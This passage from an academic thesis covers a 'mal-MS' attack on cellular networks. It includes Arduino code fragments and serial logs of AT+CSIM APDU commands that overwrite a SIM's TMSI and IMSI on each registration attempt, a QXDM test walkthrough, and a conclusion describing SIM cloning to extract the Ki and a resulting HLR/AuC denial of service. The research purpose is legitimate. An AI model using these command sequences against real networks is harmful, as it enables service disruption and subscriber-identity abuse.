103. strcat(finalword,buffer);   
104. strcat(finalword,word3);    
105.    
106. Serial.println(modemAccess.writeModemCommand("AT+CSIM=14,\"A0A40000023F00\"",1000))

; // Select Master File     
107. Serial.println(modemAccess.writeModemCommand("AT+CSIM=14,\"A0A4000002000C\"",1000))

; // It contains the user-modifiable IMSI, Ki and other values.   
108. Serial.println(modemAccess.writeModemCommand(finalword,5000)); // Update records   
109.      
110. i=i+1;                                                                             

                                            
111. }   

 



 

61 

Finally, we run the program to see in the serial monitor of Arduino the results of mal-MS (see 

below). It should mention that the first underline text is the not valid TMSI and the rest are the 

roaming IMSIs identities (as we can see are different each time that we send). It is important to 

notice that the below sample is very little and we show it only for research purposes. 

Connecting to the GSM network:  
AT%13% 
0 9>AT%13%%13%%10%OK%13%%10% 
AT+CPIN=1908%13% 
9 44>AT+CPIN=1908%13%%13%%10%+CPIN: READY%13%%10%%13%%10%OK%13%%10% 
AT+CGREG?%13% 
58 89>AT+CGREG?%13%%13%%10%+CGREG: 0,2%13%%10%%13%%10%OK%13%%10% 
AT+CGREG?%13% 
89 120>AT+CGREG?%13%%13%%10%+CGREG: 0,2%13%%10%%13%%10%OK%13%%10% 
AT+CGREG?%13% 
120 23>AT+CGREG?%13%%13%%10%+CGREG: 0,2%13%%10%%13%%10%OK%13%%10% 
AT+CGREG?%13% 
59 90>AT+CGREG?%13%%13%%10%+CGREG: 0,2%13%%10%%13%%10%OK%13%%10% 
AT+CGREG?%13% 
90 121>AT+CGREG?%13%%13%%10%+CGREG: 0,2%13%%10%%13%%10%OK%13%%10% 
AT+CGREG?%13% 
121 60>AT+CGREG?%13%%13%%10%+CGREG: 
0,2%13%%10%%13%%10%OK%13%%10%%13%%10%+QNITZ: "15/04/28,13:05:21+12,1"%13%%10% 
AT+CGREG?%13% 
60 91>AT+CGREG?%13%%13%%10%+CGREG: 0,5%13%%10%%13%%10%OK%13%%10% 
AT+IFC=1,1%13% 
91 108>AT+IFC=1,1%13%%13%%10%OK%13%%10% 
AT+CMGF=1%13% 
108 126>%19%%17%AT+CMGF=1%13%%13%%10%OK%13%%10% 
AT+CLIP=1%13% 
126 14>AT+CLIP=1%13%%13%%10%OK%13%%10% 
ATE0%13% 
14 25>ATE0%13%%13%%10%OK%13%%10% 
AT+COLP=1%13% 
25 31>%13%%10%OK%13%%10% 
Connected. 
 
================================================================= 
Update the TMSI: 
AT+CSIM=14,"A0A40000026F7E"%13%%10% 
+CSIM: 4,"9F0F" 
 
OK 
 
AT+CSIM=22,"A0D6000004111111119000"%13%%10% 
+CSIM: 4,"9000" 
 
OK 
 
================================================================= 
Counter:  
1 
 
AT+CSIM=14,"A0A40000023F00"%13%%10% 
+CSIM: 4,"9F16" 
 
OK 
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AT+CSIM=14,"A0A4000002000C"%13%%10% 
+CSIM: 4,"9F0F" 
 
OK 
 
AT+CSIM=194,"A0DC01045A8136393334363030343433FFFFFFFF98030100003050990439082940407381945
0331B53ED8F9AF7B220EE288E284A8D1619FFFFFFFFFFFFFFFFFFFFFFFFEDFFFFFFFFFFFFFFFFFFFFFFFF089
10396537900F0FF1F0E00FFFFFF9000"%13%%10% 
 
================================================================= 
Counter:  
2 
 
AT+CSIM=14,"A0A40000023F00"%13%%10% 
+CSIM: 4,"9F16" 
 
OK 
 
AT+CSIM=14,"A0A4000002000C"%13%%10% 
+CSIM: 4,"9F0F" 
 
OK 
 
AT+CSIM=194,"A0DC01045A8136393334363030343433FFFFFFFF98030100003050990439082922888112283
1091B53ED8F9AF7B220EE288E284A8D1619FFFFFFFFFFFFFFFFFFFFFFFFEDFFFFFFFFFFFFFFFFFFFFFFFF089
10396537900F0FF1F0E00FFFFFF9000"%13%%10% 
 
================================================================= 
Counter:  
3 
 
AT+CSIM=14,"A0A40000023F00"%13%%10% 
+CSIM: 4,"9F16" 
 
OK 
 
AT+CSIM=14,"A0A4000002000C"%13%%10% 
+CSIM: 4,"9F0F" 
 
OK 
 
AT+CSIM=194,"A0DC01045A8136393334363030343433FFFFFFFF98030100003050990439085951303201769
6651B53ED8F9AF7B220EE288E284A8D1619FFFFFFFFFFFFFFFFFFFFFFFFEDFFFFFFFFFFFFFFFFFFFFFFFF089
10396537900F0FF1F0E00FFFFFF9000"%13%%10% 
 
================================================================= 
Counter:  
4 
 
AT+CSIM=14,"A0A40000023F00"%13%%10% 
+CSIM: 4,"9F16" 
 
OK 
 
AT+CSIM=14,"A0A4000002000C"%13%%10% 
+CSIM: 4,"9F0F" 
OK 
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AT+CSIM=194,"A0DC01045A8136393334363030343433FFFFFFFF98030100003050990439082980103320139
3951B53ED8F9AF7B220EE288E284A8D1619FFFFFFFFFFFFFFFFFFFFFFFFEDFFFFFFFFFFFFFFFFFFFFFFFF089
10396537900F0FF1F0E00FFFFFF9000"%13%%10% 
 
================================================================= 
Counter:  
5 
 
AT+CSIM=14,"A0A40000023F00"%13%%10% 
+CSIM: 4,"9F16" 
 
OK 
 
AT+CSIM=14,"A0A4000002000C"%13%%10% 
+CSIM: 4,"9F0F" 
 
OK 
 
AT+CSIM=194,"A0DC01045A8136393334363030343433FFFFFFFF98030100003050990439082943021710139
6551B53ED8F9AF7B220EE288E284A8D1619FFFFFFFFFFFFFFFFFFFFFFFFEDFFFFFFFFFFFFFFFFFFFFFFFF089
10396537900F0FF1F0E00FFFFFF9000"%13%%10% 
 
================================================================= 
Counter:  
6 
 
AT+CSIM=14,"A0A40000023F00"%13%%10% 
+CSIM: 4,"9F16" 
 
OK 
 
AT+CSIM=14,"A0A4000002000C"%13%%10% 
+CSIM: 4,"9F0F" 
 
OK 
 
AT+CSIM=194,"A0DC01045A8136393334363030343433FFFFFFFF98030100003050990439082905991501328
2031B53ED8F9AF7B220EE288E284A8D1619FFFFFFFFFFFFFFFFFFFFFFFFEDFFFFFFFFFFFFFFFFFFFFFFFF089
10396537900F0FF1F0E00FFFFFF9000"%13%%10% 
 
================================================================= 
Counter:  
7 
 
AT+CSIM=14,"A0A40000023F00"%13%%10% 
+CSIM: 4,"9F16" 
 
OK 
 
AT+CSIM=14,"A0A4000002000C"%13%%10% 
+CSIM: 4,"9F0F" 
 
OK 
AT+CSIM=194,"A0DC01045A8136393334363030343433FFFFFFFF98030100003050990439082905991760947
3871B53ED8F9AF7B220EE288E284A8D1619FFFFFFFFFFFFFFFFFFFFFFFFEDFFFFFFFFFFFFFFFFFFFFFFFF089
10396537900F0FF1F0E00FFFFFF9000"%13%%10% 
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================================================================= 
Counter:  
8 
 
AT+CSIM=14,"A0A40000023F00"%13%%10% 
+CSIM: 4,"9F16" 
 
OK 
 
AT+CSIM=14,"A0A4000002000C"%13%%10% 
+CSIM: 4,"9F0F" 
 
OK 
 
AT+CSIM=194,"A0DC01045A8136393334363030343433FFFFFFFF98030100003050990439082955106407056
9291B53ED8F9AF7B220EE288E284A8D1619FFFFFFFFFFFFFFFFFFFFFFFFEDFFFFFFFFFFFFFFFFFFFFFFFF089
10396537900F0FF1F0E00FFFFFF9000"%13%%10% 
 
================================================================= 
Counter:  
9 
 
AT+CSIM=14,"A0A40000023F00"%13%%10% 
+CSIM: 4,"9F16" 
 
OK 
 
AT+CSIM=14,"A0A4000002000C"%13%%10% 
+CSIM: 4,"9F0F" 
 
OK 
 
AT+CSIM=194,"A0DC01045A8136393334363030343433FFFFFFFF98030100003050990439082955309003201
2801B53ED8F9AF7B220EE288E284A8D1619FFFFFFFFFFFFFFFFFFFFFFFFEDFFFFFFFFFFFFFFFFFFFFFFFF089
10396537900F0FF1F0E00FFFFFF9000"%13%%10% 
 
================================================================= 
Counter:  
10 
 
AT+CSIM=14,"A0A40000023F00"%13%%10% 
+CSIM: 4,"9F16" 
 
OK 
 
AT+CSIM=14,"A0A4000002000C"%13%%10% 
+CSIM: 4,"9F0F" 
 
OK 
 
AT+CSIM=194,"A0DC01045A8136393334363030343433FFFFFFFF98030100003050990439082926106302818
0001B53ED8F9AF7B220EE288E284A8D1619FFFFFFFFFFFFFFFFFFFFFFFFEDFFFFFFFFFFFFFFFFFFFFFFFF089
10396537900F0FF1F0E00FFFFFF9000"%13%%10% 
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11. TESTING mal-MS ATTACK USING QXDM AND QPST 
 

11.1 How to set up QXDM and QPST  
 

The first step was to set up QXDM and QPST to be able for testing mal-MS. For this purpose, we 

used a root Samsung galaxy GT-I5500 mobile phone.  

Firstly, we used Samsung Kies to found the Samsung galaxy mobile phone and install correctly the 

drivers in our computer. Then, we used QPST configuration to enable the port that we have 

connected the Samsung galaxy mobile (see figure 29). To do this we have to click the Add New Port 

button and then to enter the port that we have connected the mobile phone (for example COM9) 

and click OK button (see figure 30). 

 After this, we connect the Samsung galaxy mobile phone to QXDM. To do this we have to follow 

the route OptionsCommunications and click the button. This action we show us a window that 

we choose our mobile phone and target port and click OK button (see figure 31). If we do this, the 

mobile phone will be connected successfully to QXDM application (see underline text on figure 32).  

The next thing that we have do is to press F11 on our computer inside the QXDM application to see 

Item View which shows the contents of this temporary ISF log file. After that, we select all and 

choose to Refilter Items (see figure 33). This action we show us a window that we have to choose 

Log Packets (OTA) and select Known Over-The-Air types (see figure 34). 

Finally, after we did right all these steps we were able to see the results of mal-MS attack. 

 

Figure 29: QPST Configuration enable port 
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Figure 30: Add New Port QPST configuration 

 

 

 

 Figure 31: How to connect a phone to QXDM 

 

 

Figure 32: Successfully connection to QXDM 
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Figure 33: QXDM Item View 

 

 

Figure 34: Select Log Packet (OTA) 

 

11.2 Ready for testing mal-MS attack in practice 
 

After we saw how to set up QXDM and QPST, the final step was to test how mal-MS attack work in 

practice if we change the IMSI and TMSI in our sim card. It is important to mention that in this test 

we can change the IMSI and TMSI only one at a time in our sim card and not continuity as we did 

with Arduino. This test is done in this way because in Arduino we cannot see if mal-MS attack is 

successful. 
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Firstly, we change only the IMSI in sim card with one roaming IMSI and put it on Samsung galaxy 

mobile phone because except from mal-MS attack we want to see and some other tests. Then, we 

connect the mobile phone to our computer and start testing with QXDM. We observe that although 

the mobile phone has a roaming IMSI and not the original, we were able to make calls but not able 

to receive calls. 

After a research that we do about this, we came to the fact that we were able to make calls 

because when making the procedure of location update the MS send the TMSI to the cellular 

network and not the IMSI (see figure 35). Then, the cellular network send to MS that the TMSI is 

valid and accept the location update (see figure 36).  

For the fact that we were not able to receive calls, this happen because in GPRS Mobility 

Management (GMM)/Attach Request the MS send to network the IMSI for authentication (see 

figure 39). Then, the network “see” that the roaming IMSI which MS send is not valid as a result to 

reject GMM/Attach. So, GPRS services not allowed and not able to receive calls in our mobile (see 

figure 40). 

After these observations, we do the mal-MS attack to see the results. We update the TMSI with one 

not valid TMSI and change the IMSI with one roaming IMSI. After we did all of these actions, we 

start testing with QXDM. The first observation with mal-MS attack was that we were not able to 

make calls nor receive calls. 

For the fact that we were not able to do calls, this happen because the network “see” that TMSI 

which mal-MS send is not valid and because of this it will perform an IMSI attach (see figure 37). 

Then, the network will reject the location update because it will “see” that the roaming IMSI which 

mal-MS send is not valid (see figure 38) as a result to “fly” us from network and cannot make calls. 

In the other hand for the fact that we were not able to receive calls after mal-MS attack, it is the 

same that we have analyzed analytically above and see in figures 39 and 40. 

However the main observation about mal-MS attack was that working perfectly as we said 

theoretically before (see figure 41). More analytically, in the location update request procedure the 

mal-MS send to network the not valid TMSI (see figure 42). Then, the network does not recognize it 

and request from the mal-MS a valid IMSI. After that, the mal-MS instead of send a valid IMSI, it 

will send to network a roaming IMSI (see figure 43).  

Finally, the results of mal-MS attack are: 

1.  The network will “see” that the roaming IMSI which mal-MS send is not correct as a result 

to reject GMM/Attach (see figure 41).   

2. The network will reject location update because it will “see” that the TMSI which mal-MS 

send is not valid (see figure 41). 
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Figure 35: Location Updating Request (TMSI attach) 

 

 

Figure 36: Location Updating Accept 

 

 

Figure 37: Location Updating Request (IMSI attach) 
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Figure 38: Location Updating Reject 

 

 

Figure 39: GMM/Attach Request 

 

 

Figure 40: GMM/Attach Reject 
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Figure 41: mal-MS attack in practice 

 

 

Figure 42: MM/Location Updating Request mal-MS not valid TMSI 

 

 

Figure 43: GMM/Attach Request mal-MS roaming IMSI 
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12. CONCLUSION 
 

In the first part of this thesis, we presented theoretically: 

1. Sim cards and their data threats 

2. AT commands  

3. Arduino 

4. QUALCOMM applications such as QXDM, QPST  

More analytically, we have presented a lot of information’s about sim cards and the threats that 

exists about their data.  

Then, we have presented the AT Commands syntax and many AT commands such as general, call 

control, network service related and mobile equipment control and status commands. We show 

that if these AT commands used properly, can do a lot of things as for example they can retrieve 

sensitive data (identities and keys) from the SIM cards. 

After that, we have presented the Arduino, a commodity hardware and software which is widely 

and affordably available. Arduino is a great tool for developing interactive objects, taking inputs 

from a variety of switches or sensors and controlling a variety of lights, motors and other outputs. 

Moreover, Arduino has many boards like GSM or 3G etc... for different purposes, each of them and 

Arduino IDE to programming projects.  

Finally, we have presented Qualcomm applications (QXDM and QPST) which are very important and 

can used for testing purposes. 

In the second part of this thesis and after having gained enough knowledge, we presented mal-MS 

attack which is capable of, consequently, executing a registration procedure, using a different IMSI 

for each registration attempt with great success.  

Then, the most difficult and most excited part was to implement mal-MS attack. For these purpose, 

firstly we cloned a sim card to extract the Ki and the IMSI. After that, we update TMSI and IMSI 

using Arduino combined with its GSM shield and AT commands. The next step was to convert IMSI 

to be able to send in APDU format. Finally, after did properly all these steps we were ready to 

implement mal-MS attack with success. 

After the implementation, we tested mal-MS attack in practice using QXDM and QPST applications 

because we wanted to show that is working perfectly as we presented in theory. Our tests showed 

us that the mal-MS attack can perform a registration in a very short time. And because of this, as 

we explained analytically in section 9 a great amount of ADR messages is directed from the roaming 

MSC/SGSN to the targeted HLR/AuC, which is successively forced to generate AVs for each received 
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IMSI, depleting its computational resources. So, the targeted HLR/AuC reaches a saturation point 

and cannot serve new requests (DoS attack). 

Finally, it is important to mention that our attack depicts that no security mechanisms are 

implemented to prevent, block or even monitor malicious activities in cellular mobile networks. So, 

we believe that security mechanisms, such as firewalls and intrusion detection systems should be 

more specifically designed and incorporated in cellular mobile networks to increase the provided 

level of security. 
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LIST OF ABBREVIATIONS 
 

GSM . . . . . . Global System for Mobile Communications 

HE . . . . . . Home Environment 

SIM . . . . . . Subscriber Identity Module 

SN . . . . . . Serving Network 

ME . . . . . . Mobile Equipment 

SMS . . . . . . Short Message Service 

MMS . . . . . . Multimedia Messaging Service 

3G . . . . . . Third Generation 

IMSI . . . . . . International mobile subscriber identity 

TMSI . . . . . . Temporary Mobile Subscriber Identity 

MS . . . . . . Mobile Station 

mal-MS . . . . . . Malware Mobile Station 

QXDM . . . . . . Qualcomm extensible Diagnostic Monitor 

QPST . . . . . . Qualcomm Product Support Tool 

LTE . . . . . . Long Term Evolution 

4G . . . . . . Fourth generation 

HLR . . . . . . Home location register 

AuC . . . . . . Authentication Center 

CPU . . . . . . Central Processing Unit 

ROM . . . . . . Read-Only Memory 

RAM . . . . . . Random access memory 

EPROM . . . . . .  Erasable programmable read-only memory 

E2PROM . . . . . . Electrically Erasable Programmable Read-Only Memory 

IC . . . . . . Integrated Circuit 
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Ki . . . . . . Authentication secret key 

PIN . . . . . . Personal identification number 

PUK . . . . . . Personal unblocking code 

Kc . . . . . . Cryptographic key used by the cipher A5 

MF . . . . . . Master File 

DF . . . . . . Dedicated File 

EF . . . . . . Elementary File 

DCS . . . . . . Digital Cellular System 

LAI . . . . . . Location area identity 

PLMN . . . . . . Public land mobile network 

BCCH . . . . . . Broadcast control channel 

CHV1 . . . . . . Card Holder Verification 1 

CHV2 . . . . . . Card Holder Verification 2 

ADM . . . . . . Administrative 

ICCID . . . . . . Integrated Circuit Card ID 

APDU . . . . . . . . Application Protocol Data Unit  

MSC . . . . . . Mobile Services Switching Center 

SDA . . . . . . Smartcard Developer Association 

3GPP . . . . . . 3rd Generation Partnership Project 

IBM . . . . . . International Business Machines Corporation 

TA . . . . . . Terminal Adaptor 

HEX . . . . . . Hexadecimal mode 

MCC . . . . . . Mobile country code 

MNC . . . . . . Mobile network codes 

CLI . . . . . . Calling Line Identification 

USB . . . . . . Universal Serial Bus 
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LCD . . . . . . Liquid-crystal-display 

IDE . . . . . . Integrated development environment 

CDMA . . . . . . Code division multiple access 

ADR . . . . . . Authentication data request 

SDR . . . . . . Software Defined Radio 

LA. . . . . . Location Area 

BTS . . . . . . Base transceiver station 

MSIN . . . . . . Mobile subscription identification number 

DoS . . . . . . Denial-of-service attack 

SGSN . . . . . . Serving GPRS support node 

MSC . . . . . . Mobile switching center 

RRC . . . . . . Radio Resource Control 

AV . . . . . . Authentication vector 

RNC . . . . . . Radio Network Controller 

VLR . . . . . . Visitor Location Register 

SMSP . . . . . . Short message service parameters 

SRAM . . . . . . Static random-access memory 

GMM . . . . . . GPRS Mobility Management 

DCE . . . . . . Data circuit-terminating equipment  

DTE . . . . . . Data terminal equipment 
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